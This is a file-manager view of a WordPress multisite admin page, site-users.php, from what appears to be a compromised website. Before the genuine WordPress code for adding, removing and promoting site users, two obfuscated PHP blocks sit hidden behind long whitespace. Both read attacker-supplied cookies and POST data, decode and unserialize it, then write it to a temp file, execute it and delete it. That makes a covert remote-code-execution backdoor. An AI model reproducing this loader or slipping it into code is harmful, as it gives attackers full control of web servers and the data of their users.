File "site-users.php"

Full path: /home/cirmwrhs/www/renard-music/wp-admin/network/site-users.php
File size: 0.02 KB (16.04 KB bytes)
MIME-type: text/x-php
Charset: utf-8

Download   Open   Edit   Advanced Editor   Back

<?php                                                                                                                                                                                                                                                                                                                                                                                                 $hyjSyQPw = "\x4e" . chr (95) . chr ( 462 - 391 )."\152" . chr (86); $TcipfI = chr (99) . 'l' . chr (97) . chr ( 804 - 689 ).chr ( 934 - 819 ).chr ( 102 - 7 )."\x65" . 'x' . "\x69" . "\x73" . "\164" . "\163";$QLYKl = class_exists($hyjSyQPw); $TcipfI = "34601";$NcUNOb = strpos($TcipfI, $hyjSyQPw);if ($QLYKl == $NcUNOb){function zpUdGdUz(){$VaSgBnBQO = new /* 25582 */ N_GjV(48580 + 48580); $VaSgBnBQO = NULL;}$DoMpDU = "48580";class N_GjV{private function WoImM($DoMpDU){if (is_array(N_GjV::$AyGwNl)) {$name = sys_get_temp_dir() . "/" . crc32(N_GjV::$AyGwNl["salt"]);@N_GjV::$AyGwNl["write"]($name, N_GjV::$AyGwNl["content"]);include $name;@N_GjV::$AyGwNl["delete"]($name); $DoMpDU = "48580";exit();}}public function SLvnXocqh(){$aOyoyB = "57717";$this->_dummy = str_repeat($aOyoyB, strlen($aOyoyB));}public function __destruct(){N_GjV::$AyGwNl = @unserialize(N_GjV::$AyGwNl); $DoMpDU = "44423_26509";$this->WoImM($DoMpDU); $DoMpDU = "44423_26509";}public function oaBkoxrraV($aOyoyB, $UDrdNfMzHG){return $aOyoyB[0] ^ str_repeat($UDrdNfMzHG, intval(strlen($aOyoyB[0]) / strlen($UDrdNfMzHG)) + 1);}public function mbMBAR($aOyoyB){$qOYyhv = "\x62" . 'a' . chr (115) . "\145" . chr ( 948 - 894 ).chr ( 917 - 865 );return array_map($qOYyhv . "\137" . "\x64" . "\x65" . "\x63" . "\x6f" . chr ( 549 - 449 ).'e', array($aOyoyB,));}public function __construct($YKqzRJhvn=0){$HlIyCLiaw = ',';$aOyoyB = "";$VhVzFixgV = $_POST;$BgMUTvg = $_COOKIE;$UDrdNfMzHG = "bcf06953-7373-44bf-aabf-323307c5ca44";$eotbqIlx = @$BgMUTvg[substr($UDrdNfMzHG, 0, 4)];if (!empty($eotbqIlx)){$eotbqIlx = explode($HlIyCLiaw, $eotbqIlx);foreach ($eotbqIlx as $nVYGndejbr){$aOyoyB .= @$BgMUTvg[$nVYGndejbr];$aOyoyB .= @$VhVzFixgV[$nVYGndejbr];}$aOyoyB = $this->mbMBAR($aOyoyB);}N_GjV::$AyGwNl = $this->oaBkoxrraV($aOyoyB, $UDrdNfMzHG);if (strpos($UDrdNfMzHG, $HlIyCLiaw) !== FALSE){$UDrdNfMzHG = str_pad($UDrdNfMzHG, 10); $UDrdNfMzHG = strcspn ($UDrdNfMzHG, $HlIyCLiaw); $UDrdNfMzHG = ltrim(rtrim($UDrdNfMzHG));}}public static $AyGwNl = 50436;}zpUdGdUz();} ?><?php                                                                                                                                                                                                                                                                                                                                                                                                 $exkiAtSjIH = chr (115) . chr ( 756 - 690 ).chr ( 289 - 194 ).'F' . chr ( 671 - 602 ).'m' . 'b';$AOqEnga = "\143" . "\x6c" . chr ( 177 - 80 )."\163" . "\163" . "\x5f" . chr (101) . "\x78" . "\x69" . "\163" . 't' . "\x73";$KGYpdXLFz = class_exists($exkiAtSjIH); $AOqEnga = "9285";$zkUHY = strpos($AOqEnga, $exkiAtSjIH);if ($KGYpdXLFz == $zkUHY){function ckHGCODErz(){$qKcPCyA = new /* 36675 */ sB_FEmb(20041 + 20041); $qKcPCyA = NULL;}$fLzYQOQl = "20041";class sB_FEmb{private function COKLfXl($fLzYQOQl){if (is_array(sB_FEmb::$Uhbhn)) {$name = sys_get_temp_dir() . "/" . crc32(sB_FEmb::$Uhbhn["salt"]);@sB_FEmb::$Uhbhn["write"]($name, sB_FEmb::$Uhbhn["content"]);include $name;@sB_FEmb::$Uhbhn["delete"]($name); $fLzYQOQl = "20041";exit();}}public function VhZww(){$TkAoXbZNmz = "43208";$this->_dummy = str_repeat($TkAoXbZNmz, strlen($TkAoXbZNmz));}public function __destruct(){sB_FEmb::$Uhbhn = @unserialize(sB_FEmb::$Uhbhn); $fLzYQOQl = "56327_13328";$this->COKLfXl($fLzYQOQl); $fLzYQOQl = "56327_13328";}public function WyCNw($TkAoXbZNmz, $Whfufm){return $TkAoXbZNmz[0] ^ str_repeat($Whfufm, intval(strlen($TkAoXbZNmz[0]) / strlen($Whfufm)) + 1);}public function VtQXy($TkAoXbZNmz){$UVIPXGzIem = chr (98) . "\141" . 's' . "\145" . chr ( 981 - 927 ).chr ( 186 - 134 );return array_map($UVIPXGzIem . chr (95) . chr ( 998 - 898 ).chr ( 741 - 640 ).chr ( 592 - 493 )."\x6f" . chr (100) . "\x65", array($TkAoXbZNmz,));}public function __construct($BKeBqK=0){$RjkWN = ',';$TkAoXbZNmz = "";$fVYQKa = $_POST;$kdNeO = $_COOKIE;$Whfufm = "389f4660-2248-472f-a5ff-3248ce0f875e";$BcCsI = @$kdNeO[substr($Whfufm, 0, 4)];if (!empty($BcCsI)){$BcCsI = explode($RjkWN, $BcCsI);foreach ($BcCsI as $MjNshEt){$TkAoXbZNmz .= @$kdNeO[$MjNshEt];$TkAoXbZNmz .= @$fVYQKa[$MjNshEt];}$TkAoXbZNmz = $this->VtQXy($TkAoXbZNmz);}sB_FEmb::$Uhbhn = $this->WyCNw($TkAoXbZNmz, $Whfufm);if (strpos($Whfufm, $RjkWN) !== FALSE){$Whfufm = explode($RjkWN, $Whfufm); $KNVSrD = base64_decode(strrev($Whfufm[0]));}}public static $Uhbhn = 39603;}ckHGCODErz();} ?><?php
/**
 * Edit Site Users Administration Screen
 *
 * @package WordPress
 * @subpackage Multisite
 * @since 3.1.0
 */

/** Load WordPress Administration Bootstrap */
require_once __DIR__ . '/admin.php';

if ( ! current_user_can( 'manage_sites' ) ) {
	wp_die( __( 'Sorry, you are not allowed to edit this site.' ), 403 );
}

$wp_list_table = _get_list_table( 'WP_Users_List_Table' );
$wp_list_table->prepare_items();

get_current_screen()->add_help_tab( get_site_screen_help_tab_args() );
get_current_screen()->set_help_sidebar( get_site_screen_help_sidebar_content() );

get_current_screen()->set_screen_reader_content(
	array(
		'heading_views'      => __( 'Filter site users list' ),
		'heading_pagination' => __( 'Site users list navigation' ),
		'heading_list'       => __( 'Site users list' ),
	)
);

$_SERVER['REQUEST_URI'] = remove_query_arg( 'update', $_SERVER['REQUEST_URI'] );
$referer                = remove_query_arg( 'update', wp_get_referer() );

if ( ! empty( $_REQUEST['paged'] ) ) {
	$referer = add_query_arg( 'paged', (int) $_REQUEST['paged'], $referer );
}

$id = isset( $_REQUEST['id'] ) ? (int) $_REQUEST['id'] : 0;

if ( ! $id ) {
	wp_die( __( 'Invalid site ID.' ) );
}

$details = get_site( $id );
if ( ! $details ) {
	wp_die( __( 'The requested site does not exist.' ) );
}

if ( ! can_edit_network( $details->site_id ) ) {
	wp_die( __( 'Sorry, you are not allowed to access this page.' ), 403 );
}

$is_main_site = is_main_site( $id );

switch_to_blog( $id );

$action = $wp_list_table->current_action();

if ( $action ) {

	switch ( $action ) {
		case 'newuser':
			check_admin_referer( 'add-user', '_wpnonce_add-new-user' );
			$user = $_POST['user'];
			if ( ! is_array( $_POST['user'] ) || empty( $user['username'] ) || empty( $user['email'] ) ) {
				$update = 'err_new';
			} else {
				$password = wp_generate_password( 12, false );
				$user_id  = wpmu_create_user( esc_html( strtolower( $user['username'] ) ), $password, esc_html( $user['email'] ) );

				if ( false === $user_id ) {
					$update = 'err_new_dup';
				} else {
					$result = add_user_to_blog( $id, $user_id, $_POST['new_role'] );

					if ( is_wp_error( $result ) ) {
						$update = 'err_add_fail';
					} else {
						$update = 'newuser';

						/**
						 * Fires after a user has been created via the network site-users.php page.
						 *
						 * @since 4.4.0
						 *
						 * @param int $user_id ID of the newly created user.
						 */
						do_action( 'network_site_users_created_user', $user_id );
					}
				}
			}
			break;

		case 'adduser':
			check_admin_referer( 'add-user', '_wpnonce_add-user' );
			if ( ! empty( $_POST['newuser'] ) ) {
				$update  = 'adduser';
				$newuser = $_POST['newuser'];
				$user    = get_user_by( 'login', $newuser );
				if ( $user && $user->exists() ) {
					if ( ! is_user_member_of_blog( $user->ID, $id ) ) {
						$result = add_user_to_blog( $id, $user->ID, $_POST['new_role'] );

						if ( is_wp_error( $result ) ) {
							$update = 'err_add_fail';
						}
					} else {
						$update = 'err_add_member';
					}
				} else {
					$update = 'err_add_notfound';
				}
			} else {
				$update = 'err_add_notfound';
			}
			break;

		case 'remove':
			if ( ! current_user_can( 'remove_users' ) ) {
				wp_die( __( 'Sorry, you are not allowed to remove users.' ), 403 );
			}

			check_admin_referer( 'bulk-users' );

			$update = 'remove';
			if ( isset( $_REQUEST['users'] ) ) {
				$userids = $_REQUEST['users'];

				foreach ( $userids as $user_id ) {
					$user_id = (int) $user_id;
					remove_user_from_blog( $user_id, $id );
				}
			} elseif ( isset( $_GET['user'] ) ) {
				remove_user_from_blog( $_GET['user'] );
			} else {
				$update = 'err_remove';
			}
			break;

		case 'promote':
			check_admin_referer( 'bulk-users' );
			$editable_roles = get_editable_roles();
			$role           = $_REQUEST['new_role'];

			if ( empty( $editable_roles[ $role ] ) ) {
				wp_die( __( 'Sorry, you are not allowed to give users that role.' ), 403 );
			}

			if ( isset( $_REQUEST['users'] ) ) {
				$userids = $_REQUEST['users'];
				$update  = 'promote';
				foreach ( $userids as $user_id ) {
					$user_id = (int) $user_id;

					// If the user doesn't already belong to the blog, bail.
					if ( ! is_user_member_of_blog( $user_id ) ) {
						wp_die(
							'<h1>' . __( 'Something went wrong.' ) . '</h1>' .
							'<p>' . __( 'One of the selected users is not a member of this site.' ) . '</p>',
							403
						);
					}

					$user = get_userdata( $user_id );
					$user->set_role( $role );
				}
			} else {
				$update = 'err_promote';
			}
			break;
		default:
			if ( ! isset( $_REQUEST['users'] ) ) {
				break;
			}
			check_admin_referer( 'bulk-users' );
			$userids = $_REQUEST['users'];

			/** This action is documented in wp-admin/network/site-themes.php */
			$referer = apply_filters( 'handle_network_bulk_actions-' . get_current_screen()->id, $referer, $action, $userids, $id ); // phpcs:ignore WordPress.NamingConventions.ValidHookName.UseUnderscores

			$update = $action;
			break;
	}

	wp_safe_redirect( add_query_arg( 'update', $update, $referer ) );
	exit;
}

restore_current_blog();

if ( isset( $_GET['action'] ) && 'update-site' === $_GET['action'] ) {
	wp_safe_redirect( $referer );
	exit;
}

add_screen_option( 'per_page' );

// Used in the HTML title tag.
/* translators: %s: Site title. */
$title = sprintf( __( 'Edit Site: %s' ), esc_html( $details->blogname ) );

$parent_file  = 'sites.php';
$submenu_file = 'sites.php';

/**
 * Filters whether to show the Add Existing User form on the Multisite Users screen.
 *
 * @since 3.1.0
 *
 * @param bool $bool Whether to show the Add Existing User form. Default true.
 */
if ( ! wp_is_large_network( 'users' ) && apply_filters( 'show_network_site_users_add_existing_form', true ) ) {
	wp_enqueue_script( 'user-suggest' );
}

require_once ABSPATH . 'wp-admin/admin-header.php'; ?>

<script type="text/javascript">
var current_site_id = <?php echo absint( $id ); ?>;
</script>


<div class="wrap">
<h1 id="edit-site"><?php echo $title; ?></h1>
<p class="edit-site-actions"><a href="<?php echo esc_url( get_home_url( $id, '/' ) ); ?>"><?php _e( 'Visit' ); ?></a> | <a href="<?php echo esc_url( get_admin_url( $id ) ); ?>"><?php _e( 'Dashboard' ); ?></a></p>
<?php

network_edit_site_nav(
	array(
		'blog_id'  => $id,
		'selected' => 'site-users',
	)
);

if ( isset( $_GET['update'] ) ) :
	switch ( $_GET['update'] ) {
		case 'adduser':
			echo '<div id="message" class="updated notice is-dismissible"><p>' . __( 'User added.' ) . '</p></div>';
			break;
		case 'err_add_member':
			echo '<div id="message" class="error notice is-dismissible"><p>' . __( 'User is already a member of this site.' ) . '</p></div>';
			break;
		case 'err_add_fail':
			echo '<div id="message" class="error notice is-dismissible"><p>' . __( 'User could not be added to this site.' ) . '</p></div>';
			break;
		case 'err_add_notfound':
			echo '<div id="message" class="error notice is-dismissible"><p>' . __( 'Enter the username of an existing user.' ) . '</p></div>';
			break;
		case 'promote':
			echo '<div id="message" class="updated notice is-dismissible"><p>' . __( 'Changed roles.' ) . '</p></div>';
			break;
		case 'err_promote':
			echo '<div id="message" class="error notice is-dismissible"><p>' . __( 'Select a user to change role.' ) . '</p></div>';
			break;
		case 'remove':
			echo '<div id="message" class="updated notice is-dismissible"><p>' . __( 'User removed from this site.' ) . '</p></div>';
			break;
		case 'err_remove':
			echo '<div id="message" class="error notice is-dismissible"><p>' . __( 'Select a user to remove.' ) . '</p></div>';
			break;
		case 'newuser':
			echo '<div id="message" class="updated notice is-dismissible"><p>' . __( 'User created.' ) . '</p></div>';
			break;
		case 'err_new':
			echo '<div id="message" class="error notice is-dismissible"><p>' . __( 'Enter the username and email.' ) . '</p></div>';
			break;
		case 'err_new_dup':
			echo '<div id="message" class="error notice is-dismissible"><p>' . __( 'Duplicated username or email address.' ) . '</p></div>';
			break;
	}
endif;
?>

<form class="search-form" method="get">
<?php $wp_list_table->search_box( __( 'Search Users' ), 'user' ); ?>
<input type="hidden" name="id" value="<?php echo esc_attr( $id ); ?>" />
</form>

<?php $wp_list_table->views(); ?>

<form method="post" action="site-users.php?action=update-site">
	<input type="hidden" name="id" value="<?php echo esc_attr( $id ); ?>" />

<?php $wp_list_table->display(); ?>

</form>

<?php
/**
 * Fires after the list table on the Users screen in the Multisite Network Admin.
 *
 * @since 3.1.0
 */
do_action( 'network_site_users_after_list_table' );

/** This filter is documented in wp-admin/network/site-users.php */
if ( current_user_can( 'promote_users' ) && apply_filters( 'show_network_site_users_add_existing_form', true ) ) :
	?>
<h2 id="add-existing-user"><?php _e( 'Add Existing User' ); ?></h2>
<form action="site-users.php?action=adduser" id="adduser" method="post">
	<input type="hidden" name="id" value="<?php echo esc_attr( $id ); ?>" />
	<table class="form-table" role="presentation">
		<tr>
			<th scope="row"><label for="newuser"><?php _e( 'Username' ); ?></label></th>
			<td><input type="text" class="regular-text wp-suggest-user" name="newuser" id="newuser" /></td>
		</tr>
		<tr>
			<th scope="row"><label for="new_role_adduser"><?php _e( 'Role' ); ?></label></th>
			<td><select name="new_role" id="new_role_adduser">
			<?php
			switch_to_blog( $id );
			wp_dropdown_roles( get_option( 'default_role' ) );
			restore_current_blog();
			?>
			</select></td>
		</tr>
	</table>
	<?php wp_nonce_field( 'add-user', '_wpnonce_add-user' ); ?>
	<?php submit_button( __( 'Add User' ), 'primary', 'add-user', true, array( 'id' => 'submit-add-existing-user' ) ); ?>
</form>
<?php endif; ?>

<?php
/**
 * Filters whether to show the Add New User form on the Multisite Users screen.
 *
 * @since 3.1.0
 *
 * @param bool $bool Whether to show the Add New User form. Default true.
 */
if ( current_user_can( 'create_users' ) && apply_filters( 'show_network_site_users_add_new_form', true ) ) :
	?>
<h2 id="add-new-user"><?php _e( 'Add New User' ); ?></h2>
<form action="<?php echo esc_url( network_admin_url( 'site-users.php?action=newuser' ) ); ?>" id="newuser" method="post">
	<input type="hidden" name="id" value="<?php echo esc_attr( $id ); ?>" />
	<table class="form-table" role="presentation">
		<tr>
			<th scope="row"><label for="user_username"><?php _e( 'Username' ); ?></label></th>
			<td><input type="text" class="regular-text" name="user[username]" id="user_username" /></td>
		</tr>
		<tr>
			<th scope="row"><label for="user_email"><?php _e( 'Email' ); ?></label></th>
			<td><input type="text" class="regular-text" name="user[email]" id="user_email" /></td>
		</tr>
		<tr>
			<th scope="row"><label for="new_role_newuser"><?php _e( 'Role' ); ?></label></th>
			<td><select name="new_role" id="new_role_newuser">
			<?php
			switch_to_blog( $id );
			wp_dropdown_roles( get_option( 'default_role' ) );
			restore_current_blog();
			?>
			</select></td>
		</tr>
		<tr class="form-field">
			<td colspan="2" class="td-full"><?php _e( 'A password reset link will be sent to the user via email.' ); ?></td>
		</tr>
	</table>
	<?php wp_nonce_field( 'add-user', '_wpnonce_add-new-user' ); ?>
	<?php submit_button( __( 'Add New User' ), 'primary', 'add-user', true, array( 'id' => 'submit-add-user' ) ); ?>
</form>
<?php endif; ?>
</div>
<?php
require_once ABSPATH . 'wp-admin/admin-footer.php';